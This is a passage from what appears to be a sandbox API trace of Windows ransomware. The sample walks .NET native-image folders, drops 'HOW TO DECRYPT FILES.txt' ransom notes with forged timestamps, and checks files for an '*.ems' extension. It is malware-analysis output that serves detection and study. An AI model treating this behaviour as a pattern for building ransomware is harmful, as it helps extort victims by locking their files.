ftLastWriteTime.dwLowDateTime=0xb7908310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.686] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.686] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7908310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7908310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7908310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.686] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.686] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.686] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7908310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7908310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7908310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a09a8f6704efe36ed2e7ec006a65d128", cAlternateFileName="A09A8F~1")) returned 1 [0123.686] lstrcmpA (lpString1=".", lpString2="a09a8f6704efe36ed2e7ec006a65d128") returned -1 [0123.686] lstrcmpA (lpString1="..", lpString2="a09a8f6704efe36ed2e7ec006a65d128") returned -1 [0123.686] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\*.*") returned="*.*" [0123.686] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\", lpString2="a09a8f6704efe36ed2e7ec006a65d128" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128" [0123.686] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7908310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7908310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7908310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.691] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.691] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7908310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7908310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7908310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.691] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.691] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.691] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb78e21b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb78e21b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb792e470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x17d600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.WorkflowServices.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.691] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.692] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.WorkflowServices.ni.dll") returned -1 [0123.692] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.WorkflowServices.ni.dll") returned -1 [0123.692] lstrcmpiA (lpString1="", lpString2="System.WorkflowServices.ni.dll") returned -1 [0123.692] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\*.*") returned="*.*" [0123.692] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\" [0123.692] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\") returned="" [0123.692] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\HOW TO DECRYPT FILES.txt" [0123.692] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\how to decrypt files.txt")) returned 0xffffffff [0123.692] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.695] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.696] CloseHandle (hObject=0x90) returned 1 [0123.696] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\", lpString2="System.WorkflowServices.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\System.WorkflowServices.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\System.WorkflowServices.ni.dll" [0123.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\System.WorkflowServices.ni.dll", pszSpec="*.ems") returned 0 [0123.696] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7908310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7908310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7908310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.WorkflowServices.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.696] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.696] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.WorkflowServices.ni.dll.aux") returned -1 [0123.696] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.WorkflowServices.ni.dll.aux") returned -1 [0123.696] lstrcmpiA (lpString1="", lpString2="System.WorkflowServices.ni.dll.aux") returned -1 [0123.696] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\System.WorkflowServices.ni.dll") returned="System.WorkflowServices.ni.dll" [0123.696] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\" [0123.697] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\") returned="" [0123.697] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\HOW TO DECRYPT FILES.txt" [0123.697] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\how to decrypt files.txt")) returned 0x20 [0123.697] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\", lpString2="System.WorkflowServices.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\System.WorkflowServices.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\System.WorkflowServices.ni.dll.aux" [0123.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\System.WorkflowServices.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.697] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7908310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7908310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7908310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.WorkflowServices.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.697] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.697] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7908310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb7908310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb7908310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a09a8f6704efe36ed2e7ec006a65d128", cAlternateFileName="A09A8F~1")) returned 0 [0123.697] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.697] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Workfffcbcd8#", cAlternateFileName="SYSTEM~1.WOR")) returned 1 [0123.698] lstrcmpA (lpString1=".", lpString2="System.Workfffcbcd8#") returned -1 [0123.698] lstrcmpA (lpString1="..", lpString2="System.Workfffcbcd8#") returned -1 [0123.698] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.698] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Workfffcbcd8#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#" [0123.698] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.698] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.698] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.698] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.698] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.698] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb45b48b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb45b48b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8ef3d7e6809291cb84a980d3b5838e4e", cAlternateFileName="8EF3D7~1")) returned 1 [0123.698] lstrcmpA (lpString1=".", lpString2="8ef3d7e6809291cb84a980d3b5838e4e") returned -1 [0123.698] lstrcmpA (lpString1="..", lpString2="8ef3d7e6809291cb84a980d3b5838e4e") returned -1 [0123.698] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\*.*") returned="*.*" [0123.699] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\", lpString2="8ef3d7e6809291cb84a980d3b5838e4e" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e" [0123.699] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb45b48b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb45b48b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.701] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.701] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb45b48b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb45b48b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.701] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.701] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.702] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45685f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb45685f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb45b48b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x35ba00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Workflow.Activities.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.702] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.702] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.Activities.ni.dll") returned -1 [0123.702] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.Activities.ni.dll") returned -1 [0123.702] lstrcmpiA (lpString1="", lpString2="System.Workflow.Activities.ni.dll") returned -1 [0123.702] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\*.*") returned="*.*" [0123.702] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\" [0123.702] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\") returned="" [0123.702] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\HOW TO DECRYPT FILES.txt" [0123.702] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\how to decrypt files.txt")) returned 0xffffffff [0123.702] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.705] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.705] CloseHandle (hObject=0x90) returned 1 [0123.705] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\", lpString2="System.Workflow.Activities.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\System.Workflow.Activities.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\System.Workflow.Activities.ni.dll" [0123.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\System.Workflow.Activities.ni.dll", pszSpec="*.ems") returned 0 [0123.705] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45b48b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb45b48b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb45b48b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x98c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.705] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.705] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.Activities.ni.dll.aux") returned -1 [0123.705] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.Activities.ni.dll.aux") returned -1 [0123.705] lstrcmpiA (lpString1="", lpString2="System.Workflow.Activities.ni.dll.aux") returned -1 [0123.705] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\System.Workflow.Activities.ni.dll") returned="System.Workflow.Activities.ni.dll" [0123.706] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\" [0123.706] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\") returned="" [0123.706] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\HOW TO DECRYPT FILES.txt" [0123.706] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\how to decrypt files.txt")) returned 0x20 [0123.706] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\", lpString2="System.Workflow.Activities.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\System.Workflow.Activities.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\System.Workflow.Activities.ni.dll.aux" [0123.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\System.Workflow.Activities.ni.dll.aux", pszSpec="*.ems") returned 0 